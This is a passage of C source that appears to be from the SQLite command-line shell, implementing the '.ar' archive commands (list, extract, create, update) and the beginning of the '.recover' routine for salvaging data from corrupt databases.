if( pMatch==0 ){
return arErrorMsg(pAr, "unrecognized option: %s", z);
}
if( pMatch->bArg ){
if( iArg>=(nArg-1) ){
return arErrorMsg(pAr, "option requires an argument: %s", z);
}
zArg = azArg[++iArg];
}
if( arProcessSwitch(pAr, pMatch->eSwitch, zArg) ) return SQLITE_ERROR;
}
}
}
}
return SQLITE_OK;
}
/*
** This function assumes that all arguments within the ArCommand.azArg[]
** array refer to archive members, as for the --extract or --list commands.
** It checks that each of them are present. If any specified file is not
** present in the archive, an error is printed to stderr and an error
** code returned. Otherwise, if all specified arguments are present in
** the archive, SQLITE_OK is returned.
**
** This function strips any trailing '/' characters from each argument.
** This is consistent with the way the [tar] command seems to work on
** Linux.
*/
static int arCheckEntries(ArCommand *pAr){
int rc = SQLITE_OK;
if( pAr->nArg ){
int i, j;
sqlite3_stmt *pTest = 0;
shellPreparePrintf(pAr->db, &rc, &pTest,
"SELECT name FROM %s WHERE name=$name",
pAr->zSrcTable
);
j = sqlite3_bind_parameter_index(pTest, "$name");
for(i=0; i<pAr->nArg && rc==SQLITE_OK; i++){
char *z = pAr->azArg[i];
int n = strlen30(z);
int bOk = 0;
while( n>0 && z[n-1]=='/' ) n--;
z[n] = '\0';
sqlite3_bind_text(pTest, j, z, -1, SQLITE_STATIC);
if( SQLITE_ROW==sqlite3_step(pTest) ){
bOk = 1;
}
shellReset(&rc, pTest);
if( rc==SQLITE_OK && bOk==0 ){
utf8_printf(stderr, "not found in archive: %s\n", z);
rc = SQLITE_ERROR;
}
}
shellFinalize(&rc, pTest);
}
return rc;
}
/*
** Format a WHERE clause that can be used against the "sqlar" table to
** identify all archive members that match the command arguments held
** in (*pAr). Leave this WHERE clause in (*pzWhere) before returning.
** The caller is responsible for eventually calling sqlite3_free() on
** any non-NULL (*pzWhere) value.
*/
static void arWhereClause(
int *pRc,
ArCommand *pAr,
char **pzWhere /* OUT: New WHERE clause */
){
char *zWhere = 0;
if( *pRc==SQLITE_OK ){
if( pAr->nArg==0 ){
zWhere = sqlite3_mprintf("1");
}else{
int i;
const char *zSep = "";
for(i=0; i<pAr->nArg; i++){
const char *z = pAr->azArg[i];
zWhere = sqlite3_mprintf(
"%z%s name = '%q' OR substr(name,1,%d) = '%q/'",
zWhere, zSep, z, strlen30(z)+1, z
);
if( zWhere==0 ){
*pRc = SQLITE_NOMEM;
break;
}
zSep = " OR ";
}
}
}
*pzWhere = zWhere;
}
/*
** Implementation of .ar "lisT" command.
*/
static int arListCommand(ArCommand *pAr){
const char *zSql = "SELECT %s FROM %s WHERE %s";
const char *azCols[] = {
"name",
"lsmode(mode), sz, datetime(mtime, 'unixepoch'), name"
};
char *zWhere = 0;
sqlite3_stmt *pSql = 0;
int rc;
rc = arCheckEntries(pAr);
arWhereClause(&rc, pAr, &zWhere);
shellPreparePrintf(pAr->db, &rc, &pSql, zSql, azCols[pAr->bVerbose],
pAr->zSrcTable, zWhere);
if( pAr->bDryRun ){
utf8_printf(pAr->p->out, "%s\n", sqlite3_sql(pSql));
}else{
while( rc==SQLITE_OK && SQLITE_ROW==sqlite3_step(pSql) ){
if( pAr->bVerbose ){
utf8_printf(pAr->p->out, "%s % 10d %s %s\n",
sqlite3_column_text(pSql, 0),
sqlite3_column_int(pSql, 1),
sqlite3_column_text(pSql, 2),
sqlite3_column_text(pSql, 3)
);
}else{
utf8_printf(pAr->p->out, "%s\n", sqlite3_column_text(pSql, 0));
}
}
}
shellFinalize(&rc, pSql);
sqlite3_free(zWhere);
return rc;
}
/*
** Implementation of .ar "eXtract" command.
*/
static int arExtractCommand(ArCommand *pAr){
const char *zSql1 =
"SELECT "
" ($dir || name),"
" writefile(($dir || name), %s, mode, mtime) "
"FROM %s WHERE (%s) AND (data IS NULL OR $dirOnly = 0)"
" AND name NOT GLOB '*..[/\\]*'";
const char *azExtraArg[] = {
"sqlar_uncompress(data, sz)",
"data"
};
sqlite3_stmt *pSql = 0;
int rc = SQLITE_OK;
char *zDir = 0;
char *zWhere = 0;
int i, j;
/* If arguments are specified, check that they actually exist within
** the archive before proceeding. And formulate a WHERE clause to
** match them. */
rc = arCheckEntries(pAr);
arWhereClause(&rc, pAr, &zWhere);
if( rc==SQLITE_OK ){
if( pAr->zDir ){
zDir = sqlite3_mprintf("%s/", pAr->zDir);
}else{
zDir = sqlite3_mprintf("");
}
if( zDir==0 ) rc = SQLITE_NOMEM;
}
shellPreparePrintf(pAr->db, &rc, &pSql, zSql1,
azExtraArg[pAr->bZip], pAr->zSrcTable, zWhere
);
if( rc==SQLITE_OK ){
j = sqlite3_bind_parameter_index(pSql, "$dir");
sqlite3_bind_text(pSql, j, zDir, -1, SQLITE_STATIC);
/* Run the SELECT statement twice. The first time, writefile() is called
** for all archive members that should be extracted. The second time,
** only for the directories. This is because the timestamps for
** extracted directories must be reset after they are populated (as
** populating them changes the timestamp). */
for(i=0; i<2; i++){
j = sqlite3_bind_parameter_index(pSql, "$dirOnly");
sqlite3_bind_int(pSql, j, i);
if( pAr->bDryRun ){
utf8_printf(pAr->p->out, "%s\n", sqlite3_sql(pSql));
}else{
while( rc==SQLITE_OK && SQLITE_ROW==sqlite3_step(pSql) ){
if( i==0 && pAr->bVerbose ){
utf8_printf(pAr->p->out, "%s\n", sqlite3_column_text(pSql, 0));
}
}
}
shellReset(&rc, pSql);
}
shellFinalize(&rc, pSql);
}
sqlite3_free(zDir);
sqlite3_free(zWhere);
return rc;
}
/*
** Run the SQL statement in zSql. Or if doing a --dryrun, merely print it out.
*/
static int arExecSql(ArCommand *pAr, const char *zSql){
int rc;
if( pAr->bDryRun ){
utf8_printf(pAr->p->out, "%s\n", zSql);
rc = SQLITE_OK;
}else{
char *zErr = 0;
rc = sqlite3_exec(pAr->db, zSql, 0, 0, &zErr);
if( zErr ){
utf8_printf(stdout, "ERROR: %s\n", zErr);
sqlite3_free(zErr);
}
}
return rc;
}
/*
** Implementation of .ar "create", "insert", and "update" commands.
**
** create -> Create a new SQL archive
** insert -> Insert or reinsert all files listed
** update -> Insert files that have changed or that were not
** previously in the archive
**
** Create the "sqlar" table in the database if it does not already exist.
** Then add each file in the azFile[] array to the archive. Directories
** are added recursively. If argument bVerbose is non-zero, a message is
** printed on stdout for each file archived.
**
** The create command is the same as update, except that it drops
** any existing "sqlar" table before beginning. The "insert" command
** always overwrites every file named on the command-line, where as
** "update" only overwrites if the size or mtime or mode has changed.
*/
static int arCreateOrUpdateCommand(
ArCommand *pAr, /* Command arguments and options */
int bUpdate, /* true for a --create. */
int bOnlyIfChanged /* Only update if file has changed */
){
const char *zCreate =
"CREATE TABLE IF NOT EXISTS sqlar(\n"
" name TEXT PRIMARY KEY, -- name of the file\n"
" mode INT, -- access permissions\n"
" mtime INT, -- last modification time\n"
" sz INT, -- original file size\n"
" data BLOB -- compressed content\n"
")";
const char *zDrop = "DROP TABLE IF EXISTS sqlar";
const char *zInsertFmt[2] = {
"REPLACE INTO %s(name,mode,mtime,sz,data)\n"
" SELECT\n"
" %s,\n"
" mode,\n"
" mtime,\n"
" CASE substr(lsmode(mode),1,1)\n"
" WHEN '-' THEN length(data)\n"
" WHEN 'd' THEN 0\n"
" ELSE -1 END,\n"
" sqlar_compress(data)\n"
" FROM fsdir(%Q,%Q) AS disk\n"
" WHERE lsmode(mode) NOT LIKE '?%%'%s;"
,
"REPLACE INTO %s(name,mode,mtime,data)\n"
" SELECT\n"
" %s,\n"
" mode,\n"
" mtime,\n"
" data\n"
" FROM fsdir(%Q,%Q) AS disk\n"
" WHERE lsmode(mode) NOT LIKE '?%%'%s;"
};
int i; /* For iterating through azFile[] */
int rc; /* Return code */
const char *zTab = 0; /* SQL table into which to insert */
char *zSql;
char zTemp[50];
char *zExists = 0;
arExecSql(pAr, "PRAGMA page_size=512");
rc = arExecSql(pAr, "SAVEPOINT ar;");
if( rc!=SQLITE_OK ) return rc;
zTemp[0] = 0;
if( pAr->bZip ){
/* Initialize the zipfile virtual table, if necessary */
if( pAr->zFile ){
sqlite3_uint64 r;
sqlite3_randomness(sizeof(r),&r);
sqlite3_snprintf(sizeof(zTemp),zTemp,"zip%016llx",r);
zTab = zTemp;
zSql = sqlite3_mprintf(
"CREATE VIRTUAL TABLE temp.%s USING zipfile(%Q)",
zTab, pAr->zFile
);
rc = arExecSql(pAr, zSql);
sqlite3_free(zSql);
}else{
zTab = "zip";
}
}else{
/* Initialize the table for an SQLAR */
zTab = "sqlar";
if( bUpdate==0 ){
rc = arExecSql(pAr, zDrop);
if( rc!=SQLITE_OK ) goto end_ar_transaction;
}
rc = arExecSql(pAr, zCreate);
}
if( bOnlyIfChanged ){
zExists = sqlite3_mprintf(
" AND NOT EXISTS("
"SELECT 1 FROM %s AS mem"
" WHERE mem.name=disk.name"
" AND mem.mtime=disk.mtime"
" AND mem.mode=disk.mode)", zTab);
}else{
zExists = sqlite3_mprintf("");
}
if( zExists==0 ) rc = SQLITE_NOMEM;
for(i=0; i<pAr->nArg && rc==SQLITE_OK; i++){
char *zSql2 = sqlite3_mprintf(zInsertFmt[pAr->bZip], zTab,
pAr->bVerbose ? "shell_putsnl(name)" : "name",
pAr->azArg[i], pAr->zDir, zExists);
rc = arExecSql(pAr, zSql2);
sqlite3_free(zSql2);
}
end_ar_transaction:
if( rc!=SQLITE_OK ){
sqlite3_exec(pAr->db, "ROLLBACK TO ar; RELEASE ar;", 0, 0, 0);
}else{
rc = arExecSql(pAr, "RELEASE ar;");
if( pAr->bZip && pAr->zFile ){
zSql = sqlite3_mprintf("DROP TABLE %s", zTemp);
arExecSql(pAr, zSql);
sqlite3_free(zSql);
}
}
sqlite3_free(zExists);
return rc;
}
/*
** Implementation of ".ar" dot command.
*/
static int arDotCommand(
ShellState *pState, /* Current shell tool state */
int fromCmdLine, /* True if -A command-line option, not .ar cmd */
char **azArg, /* Array of arguments passed to dot command */
int nArg /* Number of entries in azArg[] */
){
ArCommand cmd;
int rc;
memset(&cmd, 0, sizeof(cmd));
cmd.fromCmdLine = fromCmdLine;
rc = arParseCommand(azArg, nArg, &cmd);
if( rc==SQLITE_OK ){
int eDbType = SHELL_OPEN_UNSPEC;
cmd.p = pState;
cmd.db = pState->db;
if( cmd.zFile ){
eDbType = deduceDatabaseType(cmd.zFile, 1);
}else{
eDbType = pState->openMode;
}
if( eDbType==SHELL_OPEN_ZIPFILE ){
if( cmd.eCmd==AR_CMD_EXTRACT || cmd.eCmd==AR_CMD_LIST ){
if( cmd.zFile==0 ){
cmd.zSrcTable = sqlite3_mprintf("zip");
}else{
cmd.zSrcTable = sqlite3_mprintf("zipfile(%Q)", cmd.zFile);
}
}
cmd.bZip = 1;
}else if( cmd.zFile ){
int flags;
if( cmd.bAppend ) eDbType = SHELL_OPEN_APPENDVFS;
if( cmd.eCmd==AR_CMD_CREATE || cmd.eCmd==AR_CMD_INSERT
|| cmd.eCmd==AR_CMD_UPDATE ){
flags = SQLITE_OPEN_READWRITE|SQLITE_OPEN_CREATE;
}else{
flags = SQLITE_OPEN_READONLY;
}
cmd.db = 0;
if( cmd.bDryRun ){
utf8_printf(pState->out, "-- open database '%s'%s\n", cmd.zFile,
eDbType==SHELL_OPEN_APPENDVFS ? " using 'apndvfs'" : "");
}
rc = sqlite3_open_v2(cmd.zFile, &cmd.db, flags,
eDbType==SHELL_OPEN_APPENDVFS ? "apndvfs" : 0);
if( rc!=SQLITE_OK ){
utf8_printf(stderr, "cannot open file: %s (%s)\n",
cmd.zFile, sqlite3_errmsg(cmd.db)
);
goto end_ar_command;
}
sqlite3_fileio_init(cmd.db, 0, 0);
sqlite3_sqlar_init(cmd.db, 0, 0);
sqlite3_create_function(cmd.db, "shell_putsnl", 1, SQLITE_UTF8, cmd.p,
shellPutsFunc, 0, 0);
}
if( cmd.zSrcTable==0 && cmd.bZip==0 && cmd.eCmd!=AR_CMD_HELP ){
if( cmd.eCmd!=AR_CMD_CREATE
&& sqlite3_table_column_metadata(cmd.db,0,"sqlar","name",0,0,0,0,0)
){
utf8_printf(stderr, "database does not contain an 'sqlar' table\n");
rc = SQLITE_ERROR;
goto end_ar_command;
}
cmd.zSrcTable = sqlite3_mprintf("sqlar");
}
switch( cmd.eCmd ){
case AR_CMD_CREATE:
rc = arCreateOrUpdateCommand(&cmd, 0, 0);
break;
case AR_CMD_EXTRACT:
rc = arExtractCommand(&cmd);
break;
case AR_CMD_LIST:
rc = arListCommand(&cmd);
break;
case AR_CMD_HELP:
arUsage(pState->out);
break;
case AR_CMD_INSERT:
rc = arCreateOrUpdateCommand(&cmd, 1, 0);
break;
default:
assert( cmd.eCmd==AR_CMD_UPDATE );
rc = arCreateOrUpdateCommand(&cmd, 1, 1);
break;
}
}
end_ar_command:
if( cmd.db!=pState->db ){
close_db(cmd.db);
}
sqlite3_free(cmd.zSrcTable);
return rc;
}
/* End of the ".archive" or ".ar" command logic
*******************************************************************************/
#endif /* !defined(SQLITE_OMIT_VIRTUALTABLE) && defined(SQLITE_HAVE_ZLIB) */
#if !defined(SQLITE_OMIT_VIRTUALTABLE) && defined(SQLITE_ENABLE_DBPAGE_VTAB)
/*
** If (*pRc) is not SQLITE_OK when this function is called, it is a no-op.
** Otherwise, the SQL statement or statements in zSql are executed using
** database connection db and the error code written to *pRc before
** this function returns.
*/
static void shellExec(sqlite3 *db, int *pRc, const char *zSql){
int rc = *pRc;
if( rc==SQLITE_OK ){
char *zErr = 0;
rc = sqlite3_exec(db, zSql, 0, 0, &zErr);
if( rc!=SQLITE_OK ){
raw_printf(stderr, "SQL error: %s\n", zErr);
}
sqlite3_free(zErr);
*pRc = rc;
}
}
/*
** Like shellExec(), except that zFmt is a printf() style format string.
*/
static void shellExecPrintf(sqlite3 *db, int *pRc, const char *zFmt, ...){
char *z = 0;
if( *pRc==SQLITE_OK ){
va_list ap;
va_start(ap, zFmt);
z = sqlite3_vmprintf(zFmt, ap);
va_end(ap);
if( z==0 ){
*pRc = SQLITE_NOMEM;
}else{
shellExec(db, pRc, z);
}
sqlite3_free(z);
}
}
/*
** If *pRc is not SQLITE_OK when this function is called, it is a no-op.
** Otherwise, an attempt is made to allocate, zero and return a pointer
** to a buffer nByte bytes in size. If an OOM error occurs, *pRc is set
** to SQLITE_NOMEM and NULL returned.
*/
static void *shellMalloc(int *pRc, sqlite3_int64 nByte){
void *pRet = 0;
if( *pRc==SQLITE_OK ){
pRet = sqlite3_malloc64(nByte);
if( pRet==0 ){
*pRc = SQLITE_NOMEM;
}else{
memset(pRet, 0, nByte);
}
}
return pRet;
}
/*
** If *pRc is not SQLITE_OK when this function is called, it is a no-op.
** Otherwise, zFmt is treated as a printf() style string. The result of
** formatting it along with any trailing arguments is written into a
** buffer obtained from sqlite3_malloc(), and pointer to which is returned.
** It is the responsibility of the caller to eventually free this buffer
** using a call to sqlite3_free().
**
** If an OOM error occurs, (*pRc) is set to SQLITE_NOMEM and a NULL
** pointer returned.
*/
static char *shellMPrintf(int *pRc, const char *zFmt, ...){
char *z = 0;
if( *pRc==SQLITE_OK ){
va_list ap;
va_start(ap, zFmt);
z = sqlite3_vmprintf(zFmt, ap);
va_end(ap);
if( z==0 ){
*pRc = SQLITE_NOMEM;
}
}
return z;
}
/*
** When running the ".recover" command, each output table, and the special
** orphaned row table if it is required, is represented by an instance
** of the following struct.
*/
typedef struct RecoverTable RecoverTable;
struct RecoverTable {
char *zQuoted; /* Quoted version of table name */
int nCol; /* Number of columns in table */
char **azlCol; /* Array of column lists */
int iPk; /* Index of IPK column */
};
/*
** Free a RecoverTable object allocated by recoverFindTable() or
** recoverOrphanTable().
*/
static void recoverFreeTable(RecoverTable *pTab){
if( pTab ){
sqlite3_free(pTab->zQuoted);
if( pTab->azlCol ){
int i;
for(i=0; i<=pTab->nCol; i++){
sqlite3_free(pTab->azlCol[i]);
}
sqlite3_free(pTab->azlCol);
}
sqlite3_free(pTab);
}
}
/*
** This function is a no-op if (*pRc) is not SQLITE_OK when it is called.
** Otherwise, it allocates and returns a RecoverTable object based on the
** final four arguments passed to this function. It is the responsibility
** of the caller to eventually free the returned object using
** recoverFreeTable().
*/
static RecoverTable *recoverNewTable(
int *pRc, /* IN/OUT: Error code */
const char *zName, /* Name of table */
const char *zSql, /* CREATE TABLE statement */
int bIntkey,
int nCol
){
sqlite3 *dbtmp = 0; /* sqlite3 handle for testing CREATE TABLE */
int rc = *pRc;
RecoverTable *pTab = 0;
pTab = (RecoverTable*)shellMalloc(&rc, sizeof(RecoverTable));
if( rc==SQLITE_OK ){
int nSqlCol = 0;
int bSqlIntkey = 0;
sqlite3_stmt *pStmt = 0;
rc = sqlite3_open("", &dbtmp);
if( rc==SQLITE_OK ){
sqlite3_create_function(dbtmp, "shell_idquote", 1, SQLITE_UTF8, 0,
shellIdQuote, 0, 0);
}
if( rc==SQLITE_OK ){
rc = sqlite3_exec(dbtmp, "PRAGMA writable_schema = on", 0, 0, 0);
}
if( rc==SQLITE_OK ){
rc = sqlite3_exec(dbtmp, zSql, 0, 0, 0);
if( rc==SQLITE_ERROR ){
rc = SQLITE_OK;
goto finished;
}
}
shellPreparePrintf(dbtmp, &rc, &pStmt,
"SELECT count(*) FROM pragma_table_info(%Q)", zName
);
if( rc==SQLITE_OK && SQLITE_ROW==sqlite3_step(pStmt) ){
nSqlCol = sqlite3_column_int(pStmt, 0);
}
shellFinalize(&rc, pStmt);
if( rc!=SQLITE_OK || nSqlCol<nCol ){
goto finished;
}
shellPreparePrintf(dbtmp, &rc, &pStmt,
"SELECT ("
" SELECT substr(data,1,1)==X'0D' FROM sqlite_dbpage WHERE pgno=rootpage"
") FROM sqlite_schema WHERE name = %Q", zName
);
if( rc==SQLITE_OK && SQLITE_ROW==sqlite3_step(pStmt) ){
bSqlIntkey = sqlite3_column_int(pStmt, 0);
}
shellFinalize(&rc, pStmt);
if( bIntkey==bSqlIntkey ){
int i;
const char *zPk = "_rowid_";
sqlite3_stmt *pPkFinder = 0;
/* If this is an intkey table and there is an INTEGER PRIMARY KEY,
** set zPk to the name of the PK column, and pTab->iPk to the index
** of the column, where columns are 0-numbered from left to right.
** Or, if this is a WITHOUT ROWID table or if there is no IPK column,
** leave zPk as "_rowid_" and pTab->iPk at -2. */
pTab->iPk = -2;
if( bIntkey ){
shellPreparePrintf(dbtmp, &rc, &pPkFinder,
"SELECT cid, name FROM pragma_table_info(%Q) "
" WHERE pk=1 AND type='integer' COLLATE nocase"
" AND NOT EXISTS (SELECT cid FROM pragma_table_info(%Q) WHERE pk=2)"
, zName, zName
);
if( rc==SQLITE_OK && SQLITE_ROW==sqlite3_step(pPkFinder) ){
pTab->iPk = sqlite3_column_int(pPkFinder, 0);
zPk = (const char*)sqlite3_column_text(pPkFinder, 1);
}
}
pTab->zQuoted = shellMPrintf(&rc, "\"%w\"", zName);
pTab->azlCol = (char**)shellMalloc(&rc, sizeof(char*) * (nSqlCol+1));
pTab->nCol = nSqlCol;
if( bIntkey ){
pTab->azlCol[0] = shellMPrintf(&rc, "\"%w\"", zPk);
}else{
pTab->azlCol[0] = shellMPrintf(&rc, "");
}
i = 1;
shellPreparePrintf(dbtmp, &rc, &pStmt,
"SELECT %Q || group_concat(shell_idquote(name), ', ') "
" FILTER (WHERE cid!=%d) OVER (ORDER BY %s cid) "
"FROM pragma_table_info(%Q)",
bIntkey ? ", " : "", pTab->iPk,
bIntkey ? "" : "(CASE WHEN pk=0 THEN 1000000 ELSE pk END), ",
zName
);
while( rc==SQLITE_OK && SQLITE_ROW==sqlite3_step(pStmt) ){
const char *zText = (const char*)sqlite3_column_text(pStmt, 0);
pTab->azlCol[i] = shellMPrintf(&rc, "%s%s", pTab->azlCol[0], zText);
i++;
}
shellFinalize(&rc, pStmt);
shellFinalize(&rc, pPkFinder);
}
}
finished:
sqlite3_close(dbtmp);
*pRc = rc;
if( rc!=SQLITE_OK || (pTab && pTab->zQuoted==0) ){
recoverFreeTable(pTab);
pTab = 0;
}
return pTab;
}
/*
** This function is called to search the schema recovered from the
** sqlite_schema table of the (possibly) corrupt database as part
** of a ".recover" command. Specifically, for a table with root page
** iRoot and at least nCol columns. Additionally, if bIntkey is 0, the
** table must be a WITHOUT ROWID table, or if non-zero, not one of
** those.
**
** If a table is found, a (RecoverTable*) object is returned. Or, if
** no such table is found, but bIntkey is false and iRoot is the
** root page of an index in the recovered schema, then (*pbNoop) is
** set to true and NULL returned. Or, if there is no such table or
** index, NULL is returned and (*pbNoop) set to 0, indicating that
** the caller should write data to the orphans table.
*/
static RecoverTable *recoverFindTable(
ShellState *pState, /* Shell state object */
int *pRc, /* IN/OUT: Error code */
int iRoot, /* Root page of table */
int bIntkey, /* True for an intkey table */
int nCol, /* Number of columns in table */
int *pbNoop /* OUT: True if iRoot is root of index */
){
sqlite3_stmt *pStmt = 0;
RecoverTable *pRet = 0;
int bNoop = 0;
const char *zSql = 0;
const char *zName = 0;
/* Search the recovered schema for an object with root page iRoot. */
shellPreparePrintf(pState->db, pRc, &pStmt,
"SELECT type, name, sql FROM recovery.schema WHERE rootpage=%d", iRoot
);
while( *pRc==SQLITE_OK && SQLITE_ROW==sqlite3_step(pStmt) ){
const char *zType = (const char*)sqlite3_column_text(pStmt, 0);
if( bIntkey==0 && sqlite3_stricmp(zType, "index")==0 ){
bNoop = 1;
break;
}
if( sqlite3_stricmp(zType, "table")==0 ){
zName = (const char*)sqlite3_column_text(pStmt, 1);
zSql = (const char*)sqlite3_column_text(pStmt, 2);
pRet = recoverNewTable(pRc, zName, zSql, bIntkey, nCol);
break;
}
}
shellFinalize(pRc, pStmt);
*pbNoop = bNoop;
return pRet;
}
/*
** Return a RecoverTable object representing the orphans table.
*/
static RecoverTable *recoverOrphanTable(
ShellState *pState, /* Shell state object */
int *pRc, /* IN/OUT: Error code */
const char *zLostAndFound, /* Base name for orphans table */
int nCol /* Number of user data columns */
){
RecoverTable *pTab = 0;
if( nCol>=0 && *pRc==SQLITE_OK ){
int i;
/* This block determines the name of the orphan table. The prefered
** name is zLostAndFound. But if that clashes with another name
** in the recovered schema, try zLostAndFound_0, zLostAndFound_1
** and so on until a non-clashing name is found. */
int iTab = 0;
char *zTab = shellMPrintf(pRc, "%s", zLostAndFound);
sqlite3_stmt *pTest = 0;
shellPrepare(pState->db, pRc,
"SELECT 1 FROM recovery.schema WHERE name=?", &pTest
);
if( pTest ) sqlite3_bind_text(pTest, 1, zTab, -1, SQLITE_TRANSIENT);
while( *pRc==SQLITE_OK && SQLITE_ROW==sqlite3_step(pTest) ){
shellReset(pRc, pTest);
sqlite3_free(zTab);
zTab = shellMPrintf(pRc, "%s_%d", zLostAndFound, iTab++);
sqlite3_bind_text(pTest, 1, zTab, -1, SQLITE_TRANSIENT);
}
shellFinalize(pRc, pTest);
pTab = (RecoverTable*)shellMalloc(pRc, sizeof(RecoverTable));
if( pTab ){
pTab->zQuoted = shellMPrintf(pRc, "\"%w\"", zTab);
pTab->nCol = nCol;
pTab->iPk = -2;
if( nCol>0 ){
pTab->azlCol = (char**)shellMalloc(pRc, sizeof(char*) * (nCol+1));
if( pTab->azlCol ){
pTab->azlCol[nCol] = shellMPrintf(pRc, "");
for(i=nCol-1; i>=0; i--){
pTab->azlCol[i] = shellMPrintf(pRc, "%s, NULL", pTab->azlCol[i+1]);
}
}
}
if( *pRc!=SQLITE_OK ){
recoverFreeTable(pTab);
pTab = 0;
}else{
raw_printf(pState->out,
"CREATE TABLE %s(rootpgno INTEGER, "
"pgno INTEGER, nfield INTEGER, id INTEGER", pTab->zQuoted
);
for(i=0; i<nCol; i++){
raw_printf(pState->out, ", c%d", i);
}
raw_printf(pState->out, ");\n");
}
}
sqlite3_free(zTab);
}
return pTab;
}
/*
** This function is called to recover data from the database. A script
** to construct a new database containing all recovered data is output
** on stream pState->out.
*/
static int recoverDatabaseCmd(ShellState *pState, int nArg, char **azArg){
int rc = SQLITE_OK;
sqlite3_stmt *pLoop = 0; /* Loop through all root pages */
sqlite3_stmt *pPages = 0; /* Loop through all pages in a group */
sqlite3_stmt *pCells = 0; /* Loop through all cells in a page */
const char *zRecoveryDb = ""; /* Name of "recovery" database */
const char *zLostAndFound = "lost_and_found";
int i;
int nOrphan = -1;
RecoverTable *pOrphan = 0;
int bFreelist = 1; /* 0 if --freelist-corrupt is specified */
int bRowids = 1; /* 0 if --no-rowids */
for(i=1; i<nArg; i++){
char *z = azArg[i];
int n;
if( z[0]=='-' && z[1]=='-' ) z++;
n = strlen30(z);
if( n<=17 && memcmp("-freelist-corrupt", z, n)==0 ){
bFreelist = 0;
}else
if( n<=12 && memcmp("-recovery-db", z, n)==0 && i<(nArg-1) ){
i++;
zRecoveryDb = azArg[i];
}else
if( n<=15 && memcmp("-lost-and-found", z, n)==0 && i<(nArg-1) ){
i++;
zLostAndFound = azArg[i];
}else
if( n<=10 && memcmp("-no-rowids", z, n)==0 ){
bRowids = 0;
}
else{
utf8_printf(stderr, "unexpected option: %s\n", azArg[i]);
showHelp(pState->out, azArg[0]);
return 1;
}
}
shellExecPrintf(pState->db, &rc,
/* Attach an in-memory database named 'recovery'. Create an indexed
** cache of the sqlite_dbptr virtual table. */
"PRAGMA writable_schema = on;"
"ATTACH %Q AS recovery;"
"DROP TABLE IF EXISTS recovery.dbptr;"
"DROP TABLE IF EXISTS recovery.freelist;"
"DROP TABLE IF EXISTS recovery.map;"
"DROP TABLE IF EXISTS recovery.schema;"
"CREATE TABLE recovery.freelist(pgno INTEGER PRIMARY KEY);", zRecoveryDb
);
if( bFreelist ){
shellExec(pState->db, &rc,
"WITH trunk(pgno) AS ("
" SELECT shell_int32("
" (SELECT data FROM sqlite_dbpage WHERE pgno=1), 8) AS x "
" WHERE x>0"
" UNION"
" SELECT shell_int32("
" (SELECT data FROM sqlite_dbpage WHERE pgno=trunk.pgno), 0) AS x "
" FROM trunk WHERE x>0"
"),"
"freelist(data, n, freepgno) AS ("
" SELECT data, min(16384, shell_int32(data, 1)-1), t.pgno "
" FROM trunk t, sqlite_dbpage s WHERE s.pgno=t.pgno"
" UNION ALL"
" SELECT data, n-1, shell_int32(data, 2+n) "
" FROM freelist WHERE n>=0"
")"
"REPLACE INTO recovery.freelist SELECT freepgno FROM freelist;"
);
}
/* If this is an auto-vacuum database, add all pointer-map pages to
** the freelist table. Do this regardless of whether or not
** --freelist-corrupt was specified. */
shellExec(pState->db, &rc,
"WITH ptrmap(pgno) AS ("
" SELECT 2 WHERE shell_int32("
" (SELECT data FROM sqlite_dbpage WHERE pgno=1), 13"
" )"
" UNION ALL "
" SELECT pgno+1+(SELECT page_size FROM pragma_page_size)/5 AS pp "
" FROM ptrmap WHERE pp<=(SELECT page_count FROM pragma_page_count)"
")"
"REPLACE INTO recovery.freelist SELECT pgno FROM ptrmap"
);
shellExec(pState->db, &rc,
"CREATE TABLE recovery.dbptr("
" pgno, child, PRIMARY KEY(child, pgno)"
") WITHOUT ROWID;"
"INSERT OR IGNORE INTO recovery.dbptr(pgno, child) "
" SELECT * FROM sqlite_dbptr"
" WHERE pgno NOT IN freelist AND child NOT IN freelist;"
/* Delete any pointer to page 1. This ensures that page 1 is considered
** a root page, regardless of how corrupt the db is. */
"DELETE FROM recovery.dbptr WHERE child = 1;"
/* Delete all pointers to any pages that have more than one pointer
** to them. Such pages will be treated as root pages when recovering
** data. */
"DELETE FROM recovery.dbptr WHERE child IN ("
" SELECT child FROM recovery.dbptr GROUP BY child HAVING count(*)>1"
");"
/* Create the "map" table that will (eventually) contain instructions
** for dealing with each page in the db that contains one or more
** records. */
"CREATE TABLE recovery.map("
"pgno INTEGER PRIMARY KEY, maxlen INT, intkey, root INT"
");"
/* Populate table [map]. If there are circular loops of pages in the
** database, the following adds all pages in such a loop to the map
** as individual root pages. This could be handled better. */
"WITH pages(i, maxlen) AS ("
" SELECT page_count, ("
" SELECT max(field+1) FROM sqlite_dbdata WHERE pgno=page_count"
" ) FROM pragma_page_count WHERE page_count>0"
" UNION ALL"
" SELECT i-1, ("
" SELECT max(field+1) FROM sqlite_dbdata WHERE pgno=i-1"
" ) FROM pages WHERE i>=2"
")"
"INSERT INTO recovery.map(pgno, maxlen, intkey, root) "
" SELECT i, maxlen, NULL, ("
" WITH p(orig, pgno, parent) AS ("
" SELECT 0, i, (SELECT pgno FROM recovery.dbptr WHERE child=i)"
" UNION "
" SELECT i, p.parent, "
" (SELECT pgno FROM recovery.dbptr WHERE child=p.parent) FROM p"
" )"
" SELECT pgno FROM p WHERE (parent IS NULL OR pgno = orig)"
") "
"FROM pages WHERE maxlen IS NOT NULL AND i NOT IN freelist;"
"UPDATE recovery.map AS o SET intkey = ("
" SELECT substr(data, 1, 1)==X'0D' FROM sqlite_dbpage WHERE pgno=o.pgno"
");"
/* Extract data from page 1 and any linked pages into table
** recovery.schema. With the same schema as an sqlite_schema table. */
"CREATE TABLE recovery.schema(type, name, tbl_name, rootpage, sql);"
"INSERT INTO recovery.schema SELECT "
" max(CASE WHEN field=0 THEN value ELSE NULL END),"
" max(CASE WHEN field=1 THEN value ELSE NULL END),"
" max(CASE WHEN field=2 THEN value ELSE NULL END),"
" max(CASE WHEN field=3 THEN value ELSE NULL END),"
" max(CASE WHEN field=4 THEN value ELSE NULL END)"
"FROM sqlite_dbdata WHERE pgno IN ("
" SELECT pgno FROM recovery.map WHERE root=1"
")"
"GROUP BY pgno, cell;"
"CREATE INDEX recovery.schema_rootpage ON schema(rootpage);"
);
/* Open a transaction, then print out all non-virtual, non-"sqlite_%"
** CREATE TABLE statements that extracted from the existing schema. */
if( rc==SQLITE_OK ){
sqlite3_stmt *pStmt = 0;
/* ".recover" might output content in an order which causes immediate
** foreign key constraints to be violated. So disable foreign-key
** constraint enforcement to prevent problems when running the output
** script. */
raw_printf(pState->out, "PRAGMA foreign_keys=OFF;\n");
